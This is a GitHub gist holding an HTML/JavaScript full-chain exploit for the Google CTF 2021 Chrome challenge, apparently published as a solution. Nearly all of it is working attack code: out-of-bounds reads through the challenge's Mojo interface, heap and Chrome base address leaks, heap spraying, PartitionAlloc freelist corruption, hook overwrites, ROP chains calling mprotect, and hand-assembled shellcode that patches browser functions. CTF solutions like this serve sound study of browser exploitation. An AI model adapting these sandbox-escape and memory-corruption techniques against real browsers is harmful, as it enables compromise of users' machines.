Created
January 2, 2022 21:34
-
-
Save hkraw/78b86951f8b3e7c6779a8edb6133b0c4 to your computer and use it in GitHub Desktop.
GoogleCtf 2021 fullchain
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<title>google-ctf fullchain</title> | |
</head> | |
<body> | |
<h1>HK</h1> | |
<pre id='log'></pre> | |
</body> | |
<script src='./mojo/mojo_bindings.js'></script> | |
<script src="./mojo/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script> | |
<script src='./mojo/third_party/blink/public/mojom/CTF/ctf_interface.mojom.js'></script> | |
<script id='helpers'> | |
const L_pop_rsp = 0xb01caf1n | |
const L_syscall_ret = 0x800dd77n | |
const L_pop_rax = 0x36b1bc4n | |
const L_pop_rdi = 0xb37a33bn | |
const L_pop_rdx = 0xb8dfaa2n | |
const L_pop_rsi = 0xb49636fn | |
let wasm_code = new Uint8Array([ | |
0, 97,115,109, 1, 0, 0, 0, 1,133,128,128,128, 0, | |
1, 96, 0, 1,127, 3,130,128,128,128, 0, 1, 0, 4, | |
132,128,128,128, 0, 1,112, 0, 0, 5,131,128,128,128, | |
0, 1, 0, 1, 6,129,128,128,128, 0, 0, 7,145,128, | |
128,128, 0,2,6,109,101,109,111,114,121,2,0,4,109,97, | |
105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0, | |
0,65,42,11 | |
]) | |
var wasmModule = new WebAssembly.Module(wasm_code) | |
var wasmInstance = new WebAssembly.Instance(wasmModule) | |
var evilFunc = wasmInstance.exports.main | |
let conversionBuffer = new ArrayBuffer(0x40) | |
let floatView = new Float64Array(conversionBuffer) | |
let intView = new BigUint64Array(conversionBuffer) | |
let u8View = new Uint8Array(conversionBuffer) | |
BigInt.prototype.hex = function(){return '0x' + this.toString(16) } | |
BigInt.prototype.i2f = function(){intView[0] = this;return floatView[0]} | |
BigInt.prototype.smi2f = function(){intView[0] = this << 32n; return floatView[0] } | |
BigInt.prototype.shl32 = function(){return this << 32n} | |
BigInt.prototype.shr32 = function(){return this >> 32n } | |
String.prototype.to_u64 = function(){ | |
var tmp = this | |
while(tmp.length%8) | |
tmp += "\x00" | |
for(let i = 0; i < 8; i++) | |
u8View[i] = tmp.charCodeAt(i) | |
return intView[0] | |
} | |
BigInt.prototype.byteSwap = function(){ | |
var result = 0n | |
var tmp = this | |
for(let i = 0; i < 8; i++) { | |
result = result << 8n | |
result += tmp & 255n | |
tmp = tmp >> 8n | |
} | |
return result | |
} | |
BigInt.prototype.not = function() { | |
var result = 0n | |
var tmp = this | |
for(var i = 0; i < 8; i++) { | |
result = result << 8n | |
result += (0xffn - (tmp&0xffn)) | |
tmp = tmp >> 8n | |
} | |
return result | |
} | |
Number.prototype.f2i = function(){floatView[0] = this;return intView[0]} | |
Number.prototype.f2smi = function(){floatView[0] = this;return intView[0] >> 32n} | |
Number.prototype.f2il = function(){floatView[0] = this;return intView[0] & 0xffffffffn} | |
Number.prototype.i2f = function(){return BigInt(this).i2f()} | |
Number.prototype.smi2f = function(){return BigInt(this).smi2f()} | |
const getSuperPage = addr => | |
addr & (~((1n << 21n) - 1n)) | |
const getPartitionPageBaseWithinSuperPage = ( addr, partitionPageIndex ) => | |
getSuperPage(addr) + partitionPageIndex << 14n | |
const getMetadataArea = addr => | |
getSuperPage(addr) + 0x1000n | |
const getPartitionPageMetadataArea = addr => | |
getMetadataArea(addr) + | |
((addr & ((1n << 21n) - 1n)) >> 14n) * 0x20n | |
const sleep = ms => | |
new Promise(resolve=>setTimeout(resolve,ms)) | |
const gc = () => { | |
let promise = new Promise((cb)=>{ | |
let arg; | |
for(let i = 0; i < 50; i++) | |
new ArrayBuffer(0x100000) | |
cb(arg) | |
}) | |
return promise | |
} | |
function getAllocationConstructor() { | |
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr(); | |
Mojo.bindInterface(blink.mojom.BlobRegistry.name, | |
mojo.makeRequest(blob_registry_ptr).handle, "process", true); | |
function Allocation(size=280) { | |
function ProgressClient(allocate) { | |
function ProgressClientImpl() {} | |
ProgressClientImpl.prototype = { | |
onProgress: async (arg0) => { | |
if (this.allocate.writePromise) { | |
this.allocate.writePromise.resolve(arg0); | |
} | |
} | |
}; | |
this.allocate = allocate; | |
this.ptr = new mojo.AssociatedInterfacePtrInfo(); | |
var progress_client_req = mojo.makeRequest(this.ptr); | |
this.binding = new mojo.AssociatedBinding( | |
blink.mojom.ProgressClient, | |
new ProgressClientImpl(), | |
progress_client_req | |
); | |
return this; | |
} | |
this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size}); | |
this.progressClient = new ProgressClient(this); | |
blob_registry_ptr.registerFromStream("", "", size, | |
this.pipe.consumer, | |
this.progressClient.ptr).then((res) => { | |
this.serialized_blob = res.blob; | |
}) | |
this.malloc = async function(data) { | |
promise = new Promise((resolve, reject) => { | |
this.writePromise = {resolve: resolve, reject: reject}; | |
}); | |
this.pipe.producer.writeData(data); | |
this.pipe.producer.close(); | |
written = await promise; | |
console.assert(written == data.byteLength); | |
} | |
this.free = async function() { | |
this.serialized_blob.blob.ptr.reset(); | |
await new Promise(resolve=>setTimeout(resolve, 100)); | |
} | |
this.read = function(offset, length) { | |
this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length}); | |
this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null); | |
return new Promise((resolve) => { | |
this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => { | |
result = new ArrayBuffer(length); | |
this.readpipe.consumer.readData(result); | |
this.watcher.cancel(); | |
resolve(result); | |
})}); | |
} | |
this.readQword = async function(offset) { | |
let res = await this.read(offset, 8); | |
return (new DataView(res)).getBigUint64(0, true); | |
} | |
return this; | |
} | |
async function allocate(data) { | |
let allocation = new Allocation(data.byteLength); | |
await allocation.malloc(data); | |
return allocation; | |
} | |
return allocate; | |
} | |
async function heapSpray( | |
allocator, data, size) { | |
return Promise.all( | |
Array(size).fill().map( | |
() => allocator(data) | |
)); | |
} | |
</script> | |
<script> | |
if(typeof(Mojo)!=='undefined') { | |
(async function() { | |
function createIframe(htmlContent) { | |
var iframe = document.createElement("iframe") | |
document.body.appendChild(iframe) | |
iframe.contentWindow.document.open() | |
iframe.contentWindow.document.write(htmlContent) | |
iframe.contentWindow.document.close() | |
return iframe | |
} | |
console.log('Mojo Enabled') | |
let ctf_ptrs = new Array() | |
let allocator = getAllocationConstructor() | |
for(var i = 0; i < 0x10; i++) { | |
ctf_ptrs.push(new blink.mojom.CtfInterfacePtr()) | |
Mojo.bindInterface(blink.mojom.CtfInterface.name, | |
mojo.makeRequest(ctf_ptrs[i]).handle) | |
} | |
await sleep(1000) | |
var iframes = [] | |
for(var i = 0; i < 0x10; i++) { | |
iframes.push(createIframe('<html></html>')) | |
} | |
for(var i = 0; i < 0x10; i++) { | |
await ctf_ptrs[i].resizeVector(0x2400/8) | |
await ctf_ptrs[i].write(1.1, 0) | |
await sleep(100) | |
} | |
await ctf_ptrs[1].ptr.reset() | |
await ctf_ptrs[2].ptr.reset() | |
for(var i = 0; i < 0x3; i++) { | |
document.body.removeChild(iframes[i]) | |
} | |
/* RFH OFFSET 0x3bb600 */ | |
let heap_leak = (await ctf_ptrs[0].read((0x4800)/8)).value.f2i().byteSwap() | |
let superPage = getSuperPage(heap_leak) | |
let metaPage = getMetadataArea(heap_leak) | |
let partitionPageMeta = getPartitionPageMetadataArea(heap_leak) | |
let partition_Base = (heap_leak >> 32n) << 32n | |
console.log('[+] Heap Leak: 0x' + heap_leak.toString(16)) | |
console.log('[+] MetaPage: 0x'+metaPage.toString(16)) | |
console.log('[+] partitionPageMeta: 0x' + partitionPageMeta.toString(16)) | |
console.log('[+] Partition base: 0x' + partition_Base.toString(16)) | |
await ctf_ptrs[0].write((heap_leak - BigInt(0xae00)).byteSwap().i2f(),0x4800/8) | |
await ctf_ptrs[0].write((heap_leak - BigInt(0xae00)).not().i2f(), (0x4800/8) + 1) | |
for(var i = 1; i <= 2; i++) { | |
ctf_ptrs[i] = new blink.mojom.CtfInterfacePtr() | |
Mojo.bindInterface(blink.mojom.CtfInterface.name, | |
mojo.makeRequest(ctf_ptrs[i]).handle) | |
} | |
await ctf_ptrs[1].resizeVector(0x2400/8) | |
await ctf_ptrs[2].resizeVector(0x2400/8) /* OOB to RenderFrameHost */ | |
let chrome_leak = (await ctf_ptrs[2].read((0x4800/8) + 2 )).value.f2i() | |
let chrome_base = chrome_leak - 0xbc694f0n | |
console.log('[+] Target Allocation addr: 0x' +(partition_Base + BigInt(0x3bb600)).toString(16)) | |
console.log('[+] Chrome base: 0x'+chrome_base.toString(16)) | |
var shellcode = [ | |
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, | |
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, | |
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, | |
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, | |
] | |
console.log('shellcode len: 0x'+shellcode.length.toString(16)) | |
let S_code = new ArrayBuffer(0x2400) | |
let scode_array_uint8 = new Uint8Array(S_code) | |
for(var i = 0; i < shellcode.length; i++) { | |
scode_array_uint8[i] = shellcode[i] | |
} | |
await sleep(1000) | |
console.log('Now') | |
/* Shellcode Vector */ | |
let blob = await heapSpray(allocator, S_code, 1) /* 0xa64000 */ | |
console.log('[+] Shellcode addr: 0x'+ (heap_leak - 0xc000n).toString(16)) | |
let L_ROP = [ | |
(heap_leak - BigInt(0xae00)).i2f(), | |
(chrome_base + L_pop_rdi).i2f(), | |
(heap_leak - BigInt(0xc400)).i2f(), | |
(chrome_base + L_pop_rsi).i2f(), | |
(0x3000n).i2f(), | |
(chrome_base + L_pop_rdx).i2f(), | |
0x7n.i2f(), | |
(chrome_base + L_pop_rax).i2f(), | |
0xan.i2f(), | |
(chrome_base + L_syscall_ret).i2f(), | |
( (heap_leak - BigInt(0xc000) )).i2f(), | |
0x41414141n.i2f() | |
] | |
for(var i = 0; i < L_ROP.length; i++) { | |
await ctf_ptrs[2].write(L_ROP[i], i) | |
} | |
await ctf_ptrs[2].write((chrome_base + BigInt(0x3d9d013)).i2f(), 0x118/8) | |
await ctf_ptrs[2].write((heap_leak - BigInt(0xae00)).i2f(), (0x2400/8)) | |
iframes[4].contentWindow.document.open() /* Trigger */ | |
})() | |
} else { | |
(async function() { | |
const partitionAlloc_hook = 0xc3abe10 | |
const wasmInstance_offset = 0x82865c9 | |
const ptrCompare_cage = 0xc37afa0 | |
await gc(); await gc(); await gc(); await gc(); | |
var no_gc = new Array() | |
var ab1 = new ArrayBuffer(0x10) | |
var array1 = new Uint8Array(ab1).fill(0x41) | |
var array2 = new Uint8Array(1) | |
array2[0] = 0x00 | |
array1.set(array2,0x17) | |
array2[0] = 0x11 | |
array1.set(array2,0x16) | |
array2[0] = 0xff | |
array1.set(array2,0x17+0x8) | |
array2[0] = 0xee | |
array1.set(array2,0x17+0x7) | |
no_gc.push(ab1) | |
no_gc.push(array2) | |
no_gc.push(new ArrayBuffer(0x10)) | |
var superPageAllocation = new BigUint64Array(new ArrayBuffer(0x10)) | |
no_gc.push(superPageAllocation) | |
var tmp_buffer = new ArrayBuffer(0x100) | |
var arrayBuffer_leak = superPageAllocation[0] | |
let superPage = getSuperPage(arrayBuffer_leak) | |
let metaPage = getMetadataArea(arrayBuffer_leak) | |
let partitionPage = getPartitionPageMetadataArea(arrayBuffer_leak) | |
console.log('[+] PartitionHeap leak: 0x' + arrayBuffer_leak.toString(16)) | |
console.log('[+] SuperPage: 0x' + superPage.toString(16)) | |
console.log('[+] MetaData Area: 0x' + metaPage.toString(16)) | |
console.log('[+] PartitionPage: 0x' + partitionPage.toString(16)) | |
await gc(); await gc(); await gc(); await gc(); | |
let victim = new Uint8Array(new ArrayBuffer(0x10)) | |
array2[0] = 0x30 | |
victim.set(array2, 0x17) | |
array2[0] = 0x11 | |
victim.set(array2, 0x16) | |
array2[0] = 0xff - (0x30) | |
victim.set(array2, 0x17+0x8) | |
array2[0] = 0xff - (0x11) | |
victim.set(array2, 0x17+0x7) | |
no_gc.push(new ArrayBuffer(0x10)) | |
var leakChromeBuffer = new BigUint64Array(new ArrayBuffer(0x10)) | |
var tmp_buffer = new ArrayBuffer(0x200) | |
let chrome_leak = leakChromeBuffer[0] | |
let chrome_base = chrome_leak - 0xc51dbd8n | |
console.log('[+] Chrome base: 0x' + chrome_base.toString(16)) | |
let arb_alloc_buffer = new ArrayBuffer(0x10) | |
let arb_typed_arr = new BigUint64Array(arb_alloc_buffer) | |
let partition = undefined | |
function arb_alloc(address, size, hookOverride=undefined) { | |
let victim = new BigUint64Array(new ArrayBuffer(size)) | |
no_gc.push(victim) | |
arb_typed_arr[0] = BigInt(address).byteSwap() | |
arb_typed_arr[1] = BigInt(address).not() | |
if(size != 8) { | |
victim.set(arb_typed_arr, (size/8)) | |
} else { | |
victim.set(arb_typed_arr, (size/8)+1) | |
} | |
no_gc.push(new ArrayBuffer(size)) | |
return new ArrayBuffer(size) | |
} | |
await gc(); await gc(); await gc(); | |
function build_ropchain(arrayBuffer, rop_chain) { | |
var tmp = 0n | |
for(var i = 0; i < rop_chain.length; i++) { | |
tmp = rop_chain[i] | |
for(var j = 1; j < 9; j++) { | |
arrayBuffer[i] = Number(tmp&0xffn) | |
tmp >>= 8n | |
} | |
} | |
} | |
let L_ROP_CHAIN = new Uint8Array(0x100*8) | |
let builder = new BigUint64Array(0x100) | |
builder[1] = chrome_base + 0x7490e83n | |
builder[0x8] = 0x41414141n | |
builder[0x9] = 0x41414141n | |
builder[0xa] = 0x41414141n | |
builder[0xb] = 0x41414141n | |
builder[0xc] = chrome_base + L_pop_rdi | |
builder[0xd] = chrome_base | |
builder[0xe] = chrome_base + L_pop_rsi | |
builder[0xf] = 0xc56d000n | |
builder[0x10] = chrome_base + L_pop_rdx | |
builder[0x11] = 7n | |
builder[0x12] = chrome_base + L_pop_rax | |
builder[0x13] = 0xan | |
builder[0x14] = chrome_base + L_syscall_ret | |
builder[0x15] = chrome_base + L_pop_rdi | |
builder[0x16] = superPage + 0x38000n | |
builder[0x17] = chrome_base + L_pop_rsi | |
builder[0x18] = 0x1000n | |
builder[0x19] = chrome_base + L_pop_rax | |
builder[0x1a] = 0xan | |
builder[0x1b] = chrome_base + L_syscall_ret | |
builder[0x1c] = superPage + 0x38000n | |
var tmp = 0n | |
var counter = 1 | |
for(var i = 0; i < builder.length; i++) { | |
tmp = builder[i] | |
for(var j = 0; j < 8; j++) { | |
L_ROP_CHAIN[counter] = Number(tmp&0xffn) | |
tmp >>= 8n | |
counter++ | |
} | |
} | |
partition_hook = new BigUint64Array(arb_alloc(chrome_base + BigInt(partitionAlloc_hook), 0x30)) | |
const roundUp = (value, multiple) => (value + multiple - 1) & ~(multiple - 1); | |
function I64ToBytes(num) { | |
let numh = Number(num/0x100000000n); | |
let numl = Number(num&0xffffffffn); | |
var result = []; | |
for (let j = 0; j < 4; ++j) | |
result.push((numl >>> 8 * j) & 0xff); | |
for (let j = 0; j < 4; ++j) | |
result.push((numh>>> 8 * j) & 0xff); | |
return result; | |
} | |
function flatten(array) { | |
let result = new Array(array.length), | |
index = 0, | |
flattenInternal = (array, result) => { | |
for (let element of array) { | |
if (Array.isArray(element)) | |
flattenInternal(element, result) | |
else result[index++] = element; | |
} | |
} | |
flattenInternal(array, result); | |
result.length = index; | |
return result; | |
} | |
function prepareBytes(shellcode) { | |
let flatArray = flatten(shellcode), | |
roundUpLength = roundUp(flatArray, 8), | |
result = []; | |
while (flatArray.length < roundUpLength) | |
flatArray.push(0x90); | |
return flatArray; | |
} | |
let shellcode = new Uint8Array(prepareBytes([ | |
0x48, 0xbf, I64ToBytes(superPage + BigInt(0x28009)), //mov rdi, rsp holder | |
0x48, 0xb9, I64ToBytes(chrome_base + BigInt(0x13f7a4f)), //WTF | |
0x48, 0x8b, 0x27, // mov rsp, [rdi] | |
0x48, 0x89, 0xe7, // mov rsp, rdi | |
0x48, 0x89, 0xe5, // mov rbp, rsp | |
0x48, 0x83, 0xed, 0x20, // sub rbp, 0x20 | |
0x48, 0x83, 0xec, 0x40, // sub rsp, 0x40 | |
0x48, 0xc7, 0xc2, 0x00, 0x10, 0x00, 0x00, // mov rdx, 0x1000 | |
0x48, 0xb8, I64ToBytes(chrome_base + BigInt(partitionAlloc_hook)), // mov rax, base::PartitionAllocHooks::hooks_enabled_ | |
0x48, 0x81, 0xc4, 0xf0, 0x00, 0x00, 0x00, // add rsp, 0xe8 | |
0xc6, 0x00, 0x01, // mov byte ptr [rax], 1 | |
0x48, 0x83, 0xc0, 0x10, // add rax, 0x10 | |
0x49, 0xb8, I64ToBytes(chrome_base + BigInt(L_pop_rdi+1n)), // mov r8, instr ret | |
0x4c, 0x89, 0x00, // mov qword ptr [rax], r8 | |
0x48, 0x83, 0xc0, 0x08, // add rax, 0x8 | |
0x49, 0xb8, I64ToBytes(0n), // mov r8, 0 | |
0x4c, 0x89, 0x00, // mov qword ptr [rax], r8 | |
0x48, 0x83, 0xc0, 0x08, // add rax, 0x8 | |
0x49, 0xb8, I64ToBytes(chrome_base + BigInt(L_pop_rdi+1n)), // mov r8, instr ret | |
0x4c, 0x89, 0x00, // mov qword ptr [rax], r8 | |
0x49, 0xb8, I64ToBytes(chrome_base + BigInt(0x6100c14)), // mov r8, base::PartitionPurgePage<true>(base::internal::PartitionPage<true> | |
0x41, 0xc6, 0x00, 0xc3, // mov byte ptr [r8], 0xc3 | |
0x49, 0xb8, I64ToBytes(chrome_base + BigInt(0xad8f379)), // mov r8, DidCreateScriptContext()+105 | |
0x66, 0x41, 0xc7, 0x00, 0x90, 0x90, // mov word ptr [r8], 0x9090 | |
0x49, 0xb8, I64ToBytes(chrome_base + BigInt(0x5406e60)), //mov r8, SweepFull() | |
0x41, 0xc6, 0x00, 0xc3, // mov byte ptr [r8], 0xc3 | |
0xc3, // ret | |
])); | |
/* xchg rsp, rax */ | |
partition_hook[0] = superPage + BigInt(0x28001) | |
partition_hook[3] = chrome_base + BigInt(0x3d9d013) | |
let chrome_data_section = new ArrayBuffer(0x10) | |
await gc();await gc();await gc();await gc(); | |
location.reload() | |
})() | |
} | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment